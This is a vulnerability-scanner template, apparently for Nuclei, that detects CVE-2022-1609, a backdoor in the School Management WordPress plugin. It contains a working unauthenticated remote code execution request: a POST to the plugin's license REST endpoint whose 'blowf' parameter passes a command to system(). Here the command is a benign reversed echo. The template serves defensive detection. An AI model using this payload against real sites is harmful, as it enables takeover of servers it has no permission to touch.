id: CVE-2022-1609

info:
  name: The School Management < 9.9.7 - Remote Code Execution
  author: For3stCo1d
  severity: critical
  description: The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
  reference:
    - https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
  metadata:
    max-request: 1
    verified: false
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2022-1609
    cwe-id: CWE-77
  tags: rce,wp,backdoor,wpscan,cve,cve2022,wordpress

variables:
  cmd: "echo CVE-2022-1609 | rev"

http:
  - raw:
      - |
        POST /wp-json/am-member/license HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        blowfish=1&blowf=system('{{cmd}}');

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '9061-2202-EVC'